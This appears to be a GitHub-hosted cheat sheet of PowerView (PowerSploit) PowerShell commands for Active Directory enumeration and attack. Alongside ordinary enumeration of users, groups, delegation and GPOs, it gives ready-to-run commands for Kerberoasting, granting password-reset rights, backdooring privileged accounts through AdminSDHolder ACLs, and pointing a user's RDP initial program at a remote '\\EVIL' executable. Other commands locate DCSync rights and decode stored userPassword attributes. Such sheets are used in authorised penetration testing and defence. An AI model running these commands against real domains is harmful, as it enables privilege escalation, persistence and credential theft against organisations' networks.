208 lines
11 KiB
PowerShell
208 lines
11 KiB
PowerShell
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# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
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# tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c
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# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
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# https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
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# New function naming schema:
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# Verbs:
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# Get : retrieve full raw data sets
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# Find : ‘find’ specific data entries in a data set
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# Add : add a new object to a destination
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# Set : modify a given object
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# Invoke : lazy catch-all
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# Nouns:
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# Verb-Domain* : indicates that LDAP/.NET querying methods are being executed
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# Verb-WMI* : indicates that WMI is being used under the hood to execute enumeration
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# Verb-Net* : indicates that Win32 API access is being used under the hood
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# get all the groups a user is effectively a member of, 'recursing up' using tokenGroups
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Get-DomainGroup -MemberIdentity <User/Group>
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# get all the effective members of a group, 'recursing down'
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Get-DomainGroupMember -Identity "Domain Admins" -Recurse
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# use an alterate creadential for any function
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$SecPassword = ConvertTo-SecureString 'BurgerBurgerBurger!' -AsPlainText -Force
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$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
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Get-DomainUser -Credential $Cred
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# retrieve all the computer dns host names a GPP password applies to
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Get-DomainOU -GPLink '<GPP_GUID>' | % {Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname}
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# get all users with passwords changed > 1 year ago, returning sam account names and password last set times
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$Date = (Get-Date).AddYears(-1).ToFileTime()
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Get-DomainUser -LDAPFilter "(pwdlastset<=$Date)" -Properties samaccountname,pwdlastset
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# all enabled users, returning distinguishednames
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Get-DomainUser -LDAPFilter "(!userAccountControl:1.2.840.113556.1.4.803:=2)" -Properties distinguishedname
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Get-DomainUser -UACFilter NOT_ACCOUNTDISABLE -Properties distinguishedname
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# all disabled users
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Get-DomainUser -LDAPFilter "(userAccountControl:1.2.840.113556.1.4.803:=2)"
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Get-DomainUser -UACFilter ACCOUNTDISABLE
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# all users that require smart card authentication
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Get-DomainUser -LDAPFilter "(useraccountcontrol:1.2.840.113556.1.4.803:=262144)"
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Get-DomainUser -UACFilter SMARTCARD_REQUIRED
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# all users that *don't* require smart card authentication, only returning sam account names
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Get-DomainUser -LDAPFilter "(!useraccountcontrol:1.2.840.113556.1.4.803:=262144)" -Properties samaccountname
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Get-DomainUser -UACFilter NOT_SMARTCARD_REQUIRED -Properties samaccountname
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# use multiple identity types for any *-Domain* function
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'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
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# find all users with an SPN set (likely service accounts)
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Get-DomainUser -SPN
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# check for users who don't have kerberos preauthentication set
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Get-DomainUser -PreauthNotRequired
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Get-DomainUser -UACFilter DONT_REQ_PREAUTH
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# find all service accounts in "Domain Admins"
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Get-DomainUser -SPN | ?{$_.memberof -match 'Domain Admins'}
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# find users with sidHistory set
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Get-DomainUser -LDAPFilter '(sidHistory=*)'
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# find any users/computers with constrained delegation st
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Get-DomainUser -TrustedToAuth
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Get-DomainComputer -TrustedToAuth
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# enumerate all servers that allow unconstrained delegation, and all privileged users that aren't marked as sensitive/not for delegation
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$Computers = Get-DomainComputer -Unconstrained
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$Users = Get-DomainUser -AllowDelegation -AdminCount
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# return the local *groups* of a remote server
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Get-NetLocalGroup SERVER.domain.local
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# return the local group *members* of a remote server using Win32 API methods (faster but less info)
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Get-NetLocalGroupMember -Method API -ComputerName SERVER.domain.local
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# Kerberoast any users in a particular OU with SPNs set
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Invoke-Kerberoast -SearchBase "LDAP://OU=secret,DC=testlab,DC=local"
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# Find-DomainUserLocation == old Invoke-UserHunter
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# enumerate servers that allow unconstrained Kerberos delegation and show all users logged in
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Find-DomainUserLocation -ComputerUnconstrained -ShowAll
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# hunt for admin users that allow delegation, logged into servers that allow unconstrained delegation
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Find-DomainUserLocation -ComputerUnconstrained -UserAdminCount -UserAllowDelegation
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# find all computers in a given OU
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Get-DomainComputer -SearchBase "ldap://OU=..."
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# Get the logged on users for all machines in any *server* OU in a particular domain
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Get-DomainOU -Identity *server* -Domain <domain> | %{Get-DomainComputer -SearchBase $_.distinguishedname -Properties dnshostname | %{Get-NetLoggedOn -ComputerName $_}}
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# enumerate all gobal catalogs in the forest
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Get-ForestGlobalCatalog
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# turn a list of computer short names to FQDNs, using a global catalog
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gc computers.txt | % {Get-DomainComputer -SearchBase "GC://GLOBAL.CATALOG" -LDAP "(name=$_)" -Properties dnshostname}
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# enumerate the current domain controller policy
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$DCPolicy = Get-DomainPolicy -Policy DC
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$DCPolicy.PrivilegeRights # user privilege rights on the dc...
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# enumerate the current domain policy
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$DomainPolicy = Get-DomainPolicy -Policy Domain
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$DomainPolicy.KerberosPolicy # useful for golden tickets ;)
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$DomainPolicy.SystemAccess # password age/etc.
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# enumerate what machines that a particular user/group identity has local admin rights to
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# Get-DomainGPOUserLocalGroupMapping == old Find-GPOLocation
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Get-DomainGPOUserLocalGroupMapping -Identity <User/Group>
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# enumerate what machines that a given user in the specified domain has RDP access rights to
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Get-DomainGPOUserLocalGroupMapping -Identity <USER> -Domain <DOMAIN> -LocalGroup RDP
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# export a csv of all GPO mappings
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Get-DomainGPOUserLocalGroupMapping | %{$_.computers = $_.computers -join ", "; $_} | Export-CSV -NoTypeInformation gpo_map.csv
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# use alternate credentials for searching for files on the domain
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# Find-InterestingDomainShareFile == old Invoke-FileFinder
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$Password = "PASSWORD" | ConvertTo-SecureString -AsPlainText -Force
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$Credential = New-Object System.Management.Automation.PSCredential("DOMAIN\user",$Password)
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Find-InterestingDomainShareFile -Domain DOMAIN -Credential $Credential
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# enumerate who has rights to the 'matt' user in 'testlab.local', resolving rights GUIDs to names
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Get-DomainObjectAcl -Identity matt -ResolveGUIDs -Domain testlab.local
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# grant user 'will' the rights to change 'matt's password
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Add-DomainObjectAcl -TargetIdentity matt -PrincipalIdentity will -Rights ResetPassword -Verbose
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# audit the permissions of AdminSDHolder, resolving GUIDs
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Get-DomainObjectAcl -SearchBase 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -ResolveGUIDs
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# backdoor the ACLs of all privileged accounts with the 'matt' account through AdminSDHolder abuse
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Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=testlab,DC=local' -PrincipalIdentity matt -Rights All
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# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
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Get-DomainObjectAcl "dc=dev,dc=testlab,dc=local" -ResolveGUIDs | ? {
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($_.ObjectType -match 'replication-get') -or ($_.ActiveDirectoryRights -match 'GenericAll')
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}
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# find linked DA accounts using name correlation
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Get-DomainGroupMember 'Domain Admins' | %{Get-DomainUser $_.membername -LDAPFilter '(displayname=*)'} | %{$a=$_.displayname.split(' ')[0..1] -join ' '; Get-DomainUser -LDAPFilter "(displayname=*$a*)" -Properties displayname,samaccountname}
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# save a PowerView object to disk for later usage
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Get-DomainUser | Export-Clixml user.xml
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$Users = Import-Clixml user.xml
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# Find any machine accounts in privileged groups
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Get-DomainGroup -AdminCount | Get-DomainGroupMember -Recurse | ?{$_.MemberName -like '*$'}
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# Enumerate permissions for GPOs where users with RIDs of > -1000 have some kind of modification/control rights
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Get-DomainObjectAcl -LDAPFilter '(objectCategory=groupPolicyContainer)' | ? { ($_.SecurityIdentifier -match '^S-1-5-.*-[1-9]\d{3,}$') -and ($_.ActiveDirectoryRights -match 'WriteProperty|GenericAll|GenericWrite|WriteDacl|WriteOwner')}
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# find all policies applied to a current machine
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Get-DomainGPO -ComputerIdentity windows1.testlab.local
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# enumerate all groups in a domain that don't have a global scope, returning just group names
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Get-DomainGroup -GroupScope NotGlobal -Properties name
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# enumerate all foreign users in the global catalog, and query the specified domain localgroups for their memberships
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# query the global catalog for foreign security principals with domain-based SIDs, and extract out all distinguishednames
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$ForeignUsers = Get-DomainObject -Properties objectsid,distinguishedname -SearchBase "GC://testlab.local" -LDAPFilter '(objectclass=foreignSecurityPrincipal)' | ? {$_.objectsid -match '^S-1-5-.*-[1-9]\d{2,}$'} | Select-Object -ExpandProperty distinguishedname
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$Domains = @{}
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$ForeignMemberships = ForEach($ForeignUser in $ForeignUsers) {
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# extract the domain the foreign user was added to
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$ForeignUserDomain = $ForeignUser.SubString($ForeignUser.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
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# check if we've already enumerated this domain
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if (-not $Domains[$ForeignUserDomain]) {
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$Domains[$ForeignUserDomain] = $True
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# enumerate all domain local groups from the given domain that have membership set with our foreignSecurityPrincipal set
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$Filter = "(|(member=" + $($ForeignUsers -join ")(member=") + "))"
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Get-DomainGroup -Domain $ForeignUserDomain -Scope DomainLocal -LDAPFilter $Filter -Properties distinguishedname,member
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}
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}
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$ForeignMemberships | fl
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# if running in -sta mode, impersonate another credential a la "runas /netonly"
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$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
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$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
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Invoke-UserImpersonation -Credential $Cred
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# ... action
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Invoke-RevertToSelf
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# enumerates computers in the current domain with 'outlier' properties, i.e. properties not set from the firest result returned by Get-DomainComputer
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Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
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# set the specified property for the given user identity
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Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
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# Set the owner of 'dfm' in the current domain to 'harmj0y'
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Set-DomainObjectOwner -Identity dfm -OwnerIdentity harmj0y
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# retrieve *most* users who can perform DC replication for dev.testlab.local (i.e. DCsync)
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Get-ObjectACL "DC=testlab,DC=local" -ResolveGUIDs | ? {
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($_.ActiveDirectoryRights -match 'GenericAll') -or ($_.ObjectAceType -match 'Replication-Get')
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}
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# check if any user passwords are set
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$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
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